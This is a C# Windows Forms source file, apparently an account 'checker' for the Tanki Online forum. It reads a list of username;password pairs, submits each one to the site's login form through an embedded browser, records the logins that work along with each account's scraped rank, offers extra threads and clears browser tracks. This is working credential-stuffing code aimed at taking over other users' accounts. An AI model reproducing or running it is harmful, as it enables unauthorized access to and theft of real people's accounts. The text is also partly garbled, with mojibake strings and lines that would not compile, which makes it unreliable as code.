1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
| using HtmlAgilityPack;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Net;
using System.Windows.Forms;
using System.Threading;
namespace Checker
{
public partial class Form1 : Form
{
public int q()
{
int result;
string w = listBox1.Items.Count.ToString();
int.TryParse(w, out result);
return result;
}
public int i = 0;
public bool press = false;
public string zvanie;
public string nick;
public Form1()
{
InitializeComponent();
webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login");
button2.Enabled = false;
button3.Enabled = false;
timer1.Enabled = true;
label1.BackColor = Color.Green;
}
public void text()
{
string[] ye={"Если вы решили декомпилировать мой чекер, то это довольно печально для вас. Так как скопипастив код вы ничем умным не научитесь, копипаст это очень плохо."};
}
public bool po = true;
private void button2_Click(object sender, EventArgs e)
{
if (checkBox3.Checked == true)
{
button3.Enabled = true;
if (po == true)
{
MessageBox.Show("Благодаря функции 'Увеличить потоки', потоков стало больше. Увеличен риск пропуска валидного аккаунта!");
po = false;
}
newthread = new Thread(funk);
newthread.Start();
newpatok = new Thread(funk);
newpatok.Start();
}
else
{
button3.Enabled = true;
newthread = new Thread(funk);
newthread.Start();
}
}
private void button3_Click(object sender, EventArgs e)
{
newthread.Abort();
this.webBrowser1.Stop();
this.webBrowser1.Stop();
this.webBrowser1.Stop();
this.webBrowser1.Stop();
MessageBox.Show("Работа чекера остановлена");
}
private void openFileDialog1_FileOk(object sender, CancelEventArgs e)
{
string[] strArray = System.IO.File.ReadAllText(this.openFileDialog1.FileName).Split(new char[1]
{
'\n'
});
this.listBox1.Items.Clear();
this.listBox1.Items.AddRange((object[])strArray);
}
public void ok()
{
zashitaOFF();
if (!this.press)
return;
if (this.webBrowser1.Url.ToString().Contains("process"))
{
this.i += 2;
this.listBox1.SelectedIndex = this.i;
HtmlAgilityPack.HtmlDocument htmlDocument = new HtmlAgilityPack.HtmlDocument();
htmlDocument.LoadHtml(this.webBrowser1.DocumentText);
this.webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login&do=process&" + "auth_key=" + htmlDocument.DocumentNode.SelectSingleNode("//input[@name='auth_key']").Attributes["value"].Value + "&ips_username=" + this.listBox1.SelectedItem.ToString().Split(new char[1]
{
';'
}).GetValue(0).ToString().Replace(";", "") + "&ips_password=" + this.listBox1.SelectedItem.ToString().Split(new char[1]
{
';'
}).GetValue(1).ToString().Replace(";", "") + "&rememberMe=1");
zashitaOFF();
}
else if (this.webBrowser1.Url.ToString() == "http://ru.tankiforum.com/index.php?")
{
if (checkBox1.Checked == true)
{
}
this.listBox2.Items.Add((object)((string)this.listBox1.SelectedItem));
++this.i;
this.listBox1.SelectedIndex = this.i;
this.webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login");
this.press = false;
this.button2.PerformClick();
}
else
this.button2.PerformClick();
zashitaOFF();
}
private void Form1_Load(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("rundll32.exe", "InetCpl.cpl,ClearMyTracksByProcess 8");
this.webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login");
}
public bool message = true;
private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
{
zashitaOFF();
if (!this.press)
return;
if (this.webBrowser1.Url.ToString().Contains("process"))
{
this.i += 2;
this.listBox1.SelectedIndex = this.i;
HtmlAgilityPack.HtmlDocument htmlDocument = new HtmlAgilityPack.HtmlDocument();
htmlDocument.LoadHtml(this.webBrowser1.DocumentText);
this.webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login&do=process&" + "auth_key=" + htmlDocument.DocumentNode.SelectSingleNode("//input[@name='auth_key']").Attributes["value"].Value + "&ips_username=" + this.listBox1.SelectedItem.ToString().Split(new char[1]
{
';'
}).GetValue(0).ToString().Replace(";", "") + "&ips_password=" + this.listBox1.SelectedItem.ToString().Split(new char[1]
{
';'
}).GetValue(1).ToString().Replace(";", "") + "&rememberMe=1");
zashitaOFF();
}
else if (this.webBrowser1.Url.ToString() == "http://ru.tankiforum.com/index.php?")
{
if (checkBox1.Checked == true)
{
}
zvaniya();
this.listBox2.Items.Add((object)((string)this.listBox1.SelectedItem + (object)" - " + zv.ToString()));
//this.listBox2.Items.Add((object)((string)this.listBox1.SelectedItem));
++this.i;
this.listBox1.SelectedIndex = this.i;
this.webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login");
this.press = false;
this.button2.PerformClick();
}
else
this.button2.PerformClick();
zashitaOFF();
/* if (!this.press)
return;
if (this.webBrowser1.Url.ToString().Contains("process"))
{
this.i += 2;
this.listBox1.SelectedIndex = this.i;
HtmlAgilityPack.HtmlDocument htmlDocument = new HtmlAgilityPack.HtmlDocument();
htmlDocument.LoadHtml(this.webBrowser1.DocumentText);
this.webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login&do=process&" + "auth_key=" + htmlDocument.DocumentNode.SelectSingleNode("//input[@name='auth_key']").Attributes["value"].Value + "&ips_username=" + this.listBox1.SelectedItem.ToString().Split(new char[1]
{
';'
}).GetValue(0).ToString().Replace(";", "") + "&ips_password=" + this.listBox1.SelectedItem.ToString().Split(new char[1]
{
';'
}).GetValue(1).ToString().Replace(";", "") + "&rememberMe=1");
}
else if (this.webBrowser1.Url.ToString() == "http://ru.tankiforum.com/index.php?")
{
this.listBox2.Items.Add((object)((string)this.listBox1.SelectedItem));
++this.i;
this.listBox1.SelectedIndex = this.i;
this.webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login");
this.press = false;
this.button1.PerformClick();
}
else
this.button1.PerformClick(); */
}
private void button1_Click(object sender, EventArgs e)
{
button2.Enabled = true;
openFileDialog1.Title = "Выбирите txt файл с вашими аккаунтами!";
openFileDialog1.FileName = "";
openFileDialog1.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*";
int num = (int)this.openFileDialog1.ShowDialog();
}
public Thread newpatok;
public Thread newthread;
public Thread newpotok2;
public void og()
{
this.Invoke((MethodInvoker)delegate()
{
zashitaOFF();
if (!this.press)
return;
if (this.webBrowser1.Url.ToString().Contains("process"))
{
this.i += 2;
this.listBox1.SelectedIndex = this.i;
HtmlAgilityPack.HtmlDocument htmlDocument = new HtmlAgilityPack.HtmlDocument();
htmlDocument.LoadHtml(this.webBrowser1.DocumentText);
this.webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login&do=process&" + "auth_key=" + htmlDocument.DocumentNode.SelectSingleNode("//input[@name='auth_key']").Attributes["value"].Value + "&ips_username=" + this.listBox1.SelectedItem.ToString().Split(new char[1]
{
';'
}).GetValue(0).ToString().Replace(";", "") + "&ips_password=" + this.listBox1.SelectedItem.ToString().Split(new char[1]
{
';'
}).GetValue(1).ToString().Replace(";", "") + "&rememberMe=1");
zashitaOFF();
}
else if (this.webBrowser1.Url.ToString() == "http://ru.tankiforum.com/index.php?")
{
if (checkBox1.Checked == true)
{
}
this.listBox2.Items.Add((object)((string)this.listBox1.SelectedItem + zv));
++this.i;
this.listBox1.SelectedIndex = this.i;
this.webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login");
this.press = false;
this.button2.PerformClick();
}
else
this.button2.PerformClick();
zashitaOFF();
});
}
public void funk()
{
this.Invoke((MethodInvoker)delegate()
{
this.button3.Enabled = true;
try
{
this.press = true;
this.listBox1.SelectedIndex = this.i;
HtmlAgilityPack.HtmlDocument htmlDocument = new HtmlAgilityPack.HtmlDocument();
htmlDocument.LoadHtml(this.webBrowser1.DocumentText);
this.webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login&do=process&" + "auth_key=" + htmlDocument.DocumentNode.SelectSingleNode("//input[@name='auth_key']").Attributes["value"].Value + "&ips_username=" + this.listBox1.SelectedItem.ToString().Split(new char[1]
{
';'
}).GetValue(0).ToString().Replace(";", "") + "&ips_password=" + this.listBox1.SelectedItem.ToString().Split(new char[1]
{
';'
}).GetValue(1).ToString().Replace(";", "") + "&rememberMe=1");
}
catch (Exception ex)
{
}
});
}
private void button5_Click(object sender, EventArgs e)
{
this.webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login");
}
public bool a = true;
public void zashitaOFF()
{
string code = webBrowser1.DocumentText.ToString();
int i = code.IndexOf("Ð?орогие игроки, по Ñ?еÑ?ниÑ?еским приÑ?инÐ?м Ñ?орум временно недосÑ?упен.");
if (i != -1)
{
if (a == true)
{
MessageBox.Show("СкоросÑ?ь рÐ?Ð?оÑ?Ñ? Ñ?екерÐ? пониÐ?енÐ? иÐ?-Ð?Ð? оÑ?иÐ?ки серверÐ?.");
a = false;
}
webBrowser1.Navigate("http://ru.tankiforum.com/index.php?app=core&module=global§ion=login");
}
}
private void button7_Click(object sender, EventArgs e)
{
MessageBox.Show("By HackingMemory. My skype pro.programm", "АвÑ?ор");
}
private void button6_Click(object sender, EventArgs e)
{
string[] a =
{"Ð?нсÑ?рукÑ?ия:",
"1) Ð?Ð?пусÑ?иÑ?е прогрÐ?мму Ð?екер",
"2) НÐ?сÑ?роÐ?Ñ?е свои пÐ?рÐ?меÑ?рÑ?(вÑ?сÑ?Ð?вÐ?яеÑ?е гÐ?Ð?оÑ?ки в checkBox)",
"3) Ð?Ñ?Ð?ериÑ?е txt Ñ?Ð?Ð?Ð? со своими Ð?ккÐ?унÑ?Ð?ми коÑ?орÑ?е вÑ? Ñ?одиÑ?е провериÑ?ь",
"4) НÐ?Ð?миÑ?е сÑ?Ð?рÑ?!",
"5) Ð?оÐ?диÑ?есь когдÐ? все вÐ?Ñ?и Ð?ккÐ?унÑ?Ñ? Ð?удуÑ? проверенÑ?"};
/* "Ð?оÑ? впринÑ?епи и вся инсÑ?рукÑ?ия, Ñ?Ð?к Ð?е посÐ?е Ñ?екÐ?нья всеÑ? Ð?ккÐ?унÑ?ов вÑ? моÐ?еÑ?е нÐ?Ð?Ð?Ñ?ь нÐ? кнопку соÑ?рÐ?ниÑ?ь, посÐ?е Ñ?его эÑ?и Ð?ккÐ? соÑ?рÐ?няÑ?ься вÐ?м нÐ? рÐ?Ð?оÑ?иÐ? сÑ?оÐ?.",
"ПримеÑ?Ð?ния: Ð?Ñ?вÐ?еÑ? Ð?удиÑ? вÑ?Ñ?одиÑ?ь Ñ?Ð?кÐ?я оÑ?иÐ?кÐ? 'СкоросÑ?ь уменьÑ?енÐ? иÐ?-Ð?Ð? оÑ?иÐ?ки серверÐ?', во всем эÑ?ом виновÐ?Ñ?о многопоÑ?оÑ?носÑ?ь ",
"посÐ?е Ñ?ого кÐ?к сооÐ?Ñ?ение с эÑ?оÐ? оÑ?иÐ?коÐ? покÐ?Ð?еÑ?ся, скоросÑ?ь Ð?удиÑ? посÑ?Ð?вÐ?енÐ? нÐ? сÑ?Ð?ндÐ?рÑ?(Ð?еÐ? поÑ?оков)",
"Ð?сем спÐ?сиÐ?о, с вÐ?ми HackingMemory!",
"Ð? сÐ?уÑ?Ð?е Ñ?ого есÐ?и Ñ?екер неоÐ?идÐ?нно пересÑ?Ð?еÑ? Ñ?екÐ?Ñ?ь Ð?кки, нÐ?Ð?миÑ?е кнопку ОÐ?НОÐ?Ð?ТÐ?, посÐ?е Ñ?его Ñ?екÐ?нье Ð?кков продоÐ?Ð?иÑ?ься"};
* */
MessageBox.Show(a[0], "Ð?нсÑ?рукÑ?ия");
MessageBox.Show(a[1], "Ð?Ñ?Ð?п первÑ?Ð?!");
MessageBox.Show(a[2], "Ð?Ñ?Ð?п вÑ?ороÐ?!");
MessageBox.Show(a[3], "Ð?Ñ?Ð?п Ñ?реÑ?иÐ?!");
MessageBox.Show(a[4], "Ð?Ñ?Ð?п Ñ?еÑ?верÑ?Ñ?Ð?!");
MessageBox.Show(a[5], "Ð?Ñ?Ð?п пяÑ?Ñ?Ð?!");
/*
MessageBox.Show(a[6], "ПримеÑ?Ð?ния");
MessageBox.Show(a[7], "ПримеÑ?Ð?ния");
MessageBox.Show(a[8], "ПримеÑ?Ð?ния");
MessageBox.Show(a[10], "Ð? сÐ?уÑ?Ð?е...");
// MessageBox.Show(a[9], "HackingMemory!");
*/
}
private void timer1_Tick(object sender, EventArgs e)
{
}
public string zvanieqqqqqqq;
public string zv;
public void zvaniya()
{
string wwq;
string www;
int wwe;
for (int sveg = 1; sveg < 30; sveg++)
{
webBrowser1.Navigate("http://en.tankiforum.com/index.php?app=core&module=search&do=search&fromMainBar=1&search_term=" + this.listBox1.SelectedItem.ToString().Split(new char[1] { ';' }).GetValue(0).ToString().Replace(";", "") + "&search_app=members");
www = webBrowser1.DocumentText;
wwq = "<span class=\"to_rank rid_"+sveg.ToString()+"\">";
wwe = [url]www.IndexOf(wwq);[/url]
if (wwe != -1)
{
zvanieqqqqqqq = wwq;
MessageBox.Show(zvanieqqqqqqq);
break;
}
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_1\">")
{
zv = "Новобранец";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_2\">")
{
zv = "Рядавой";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_3\">")
{
zv = "Ефрейтор";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_4\">")
{
zv = "Капрал";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_5\">")
{
zv = "Мастер Капрал";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_6\">")
{
zv = "Сержант";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_7\">")
{
zv = "Штаб-Сержант";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_8\">")
{
zv = "Мастер-Сержант";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_9\">")
{
zv = "Первый Сержант";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_10\">")
{
zv = "Сержант-Майор";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_11\">")
{
zv = "Уорэнт-Офицер 1";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_12\">")
{
zv = "Уорэнт-Офицер 2";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_13\">")
{
zv = "Уорэнт-Офицер 3";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_14\">")
{
zv = "Уорэнт-Офицер 4";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_15\">")
{
zv = "Уорэнт-Офицер 5";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_16\">")
{
zv = "Младший Лейтенант";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_17\">")
{
zv = "Лейтенант";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_18\">")
{
zv = "Старший Лейтенант";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_19\">")
{
zv = "Капитан";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_20\">")
{
zv = "Майор";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_21\">")
{
zv = "Подполковник";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_22\">")
{
zv = "Полковник";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_23\">")
{
zv = "Бригадир";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_24\">")
{
zv = "Генерал-Майор";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_25\">")
{
zv = "Генерал-Лейтенант";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_26\">")
{
zv = "Генерал";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_27\">")
{
zv = "Маршал";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_28\">")
{
zv = "Фельдмаршал";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_29\">")
{
zv = "Командор";
}
if (zvanieqqqqqqq == "<span class=\"to_rank rid_30\">")
{
zv = "Генералиссимус";
}
}
/* public void zdfybz()
{
// zoloto_lov14
//this.listBox1.SelectedItem.ToString().Split(new char[1] {';'}).GetValue(0).ToString().Replace(";", "")
webBrowser1.Navigate("http://en.tankiforum.com/index.php?app=core&module=search&do=search&fromMainBar=1&search_term=" "&search_app=members");
int result = 0 ;
// "http://ru.tankiforum.com/index.php?app=core&module=search&do=search&fromMainBar=1&search_term=&ips_username=zoloto_lov14&search_app=members
string tey = webBrowser1.DocumentText;
int q = tey.IndexOf("to_rank rid_1");
int w = tey.IndexOf("to_rank rid_2");
int e = tey.IndexOf("to_rank rid_3");
int r = tey.IndexOf("to_rank rid_4");
int t = tey.IndexOf("to_rank rid_5");
int y = tey.IndexOf("to_rank rid_6");
int u = tey.IndexOf("to_rank rid_7");
int i = tey.IndexOf("to_rank rid_8");
int o = tey.IndexOf("to_rank rid_9");
int p = tey.IndexOf("to_rank rid_10");
int s = tey.IndexOf("to_rank rid_11");
int d = tey.IndexOf("to_rank rid_12");
int f = tey.IndexOf("to_rank rid_13");
int g = tey.IndexOf("to_rank rid_14");
int h = tey.IndexOf("to_rank rid_15");
int k = tey.IndexOf("to_rank rid_16");
int l = tey.IndexOf("to_rank rid_17");
int z = tey.IndexOf("to_rank rid_18");
int x = tey.IndexOf("to_rank rid_19");
int c = tey.IndexOf("to_rank rid_20");
int v = tey.IndexOf("to_rank rid_21");
int b = tey.IndexOf("to_rank rid_22");
int n = tey.IndexOf("to_rank rid_23");
int m = tey.IndexOf("to_rank rid_24");
int qw = tey.IndexOf("to_rank rid_25");
int we = tey.IndexOf("to_rank rid_26");
int er = tey.IndexOf("to_rank rid_27");
int rt = tey.IndexOf("to_rank rid_28");
int ty = tey.IndexOf("to_rank rid_29");
int yu = tey.IndexOf("to_rank rid_30");
if (q != -1)
{
zvanieqqqqqqq = "Новобранец";
}
if (w != -1)
{
zvanieqqqqqqq = "Рядавой";
}
if (e != -1)
{
zvanieqqqqqqq = "Ефрейтор";
}
if (r != -1)
{
zvanieqqqqqqq = "Капрал";
}
if (t != -1)
{
zvanieqqqqqqq = "Мастер Капрал";
}
if (y != -1)
{
zvanieqqqqqqq = "Сержант";
}
if (u != -1)
{
zvanieqqqqqqq = "Штаб-Сержант";
}
if (i != -1)
{
zvanieqqqqqqq = "Мастер-Сержант";
}
if (o != -1)
{
zvanieqqqqqqq = "Первый Сержант";
}
if (p != -1)
{
zvanieqqqqqqq = "Сержант-Майор";
}
if (s != -1)
{
zvanieqqqqqqq = "Уорэнт-Офицер 1";
}
if (d != -1)
{
zvanieqqqqqqq = "Уорэнт-Офицер 2";
}
if (f != -1)
{
zvanieqqqqqqq = "Уорэнт-Офицер 3";
}
if (g != -1)
{
zvanieqqqqqqq = "Уорэнт-Офицер 4";
}
if (h != -1)
{
zvanieqqqqqqq = "Уорэнт-Офицер 5";
}
if (k!= -1)
{
zvanieqqqqqqq = "Младший Лейтенант";
}
if (l != -1)
{
zvanieqqqqqqq = "Лейтенант";
}
if (z != -1)
{
zvanieqqqqqqq = "Старший Лейтенант";
}
if (x != -1)
{
zvanieqqqqqqq = "Капитан";
}
if (c != -1)
{
zvanieqqqqqqq = "Майор";
}
if (v != -1)
{
zvanieqqqqqqq = "Подполковник";
}
if (b != -1)
{
zvanieqqqqqqq = "Полковник";
}
if (n != -1)
{
zvanieqqqqqqq = "Бригадир";
}
if (m != -1)
{
zvanieqqqqqqq = "Генерал-Майор";
}
if (qw != -1)
{
zvanieqqqqqqq = "Генерал-Лейтенант";
}
if (we != -1)
{
zvanieqqqqqqq = "Генерал";
}
if (er != -1)
{
zvanieqqqqqqq = "Маршал";
}
if (rt != -1)
{
zvanieqqqqqqq = "Фельдмаршал";
}
if (ty != -1)
{
zvanieqqqqqqq = "Командор";
}
if (yu != -1)
{
zvanieqqqqqqq = "Генералиссимус";
}
}*/
private void button4_Click(object sender, EventArgs e)
{
listBox1.Items.Clear();/*
SaveFileDialog sw = new SaveFileDialog();
string[] strArray = new string[checked(this.listBox1.Items.Count - 1 + 1)];
this.listBox2.Items.CopyTo((object[])strArray, 0);
string str = string.Join("\r\n", strArray);
sw.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*";
sw.FilterIndex = 1;
sw.RestoreDirectory = true;
sw.FileName = "TankiOnlineGoods.txt";
if (sw.ShowDialog() != DialogResult.OK)
return;
using (StreamWriter streamWriter = new StreamWriter(sw.FileName, false))
{
streamWriter.WriteLine(str);
streamWriter.Close();
}
* */
StreamReader st = new StreamReader();
}
}
} |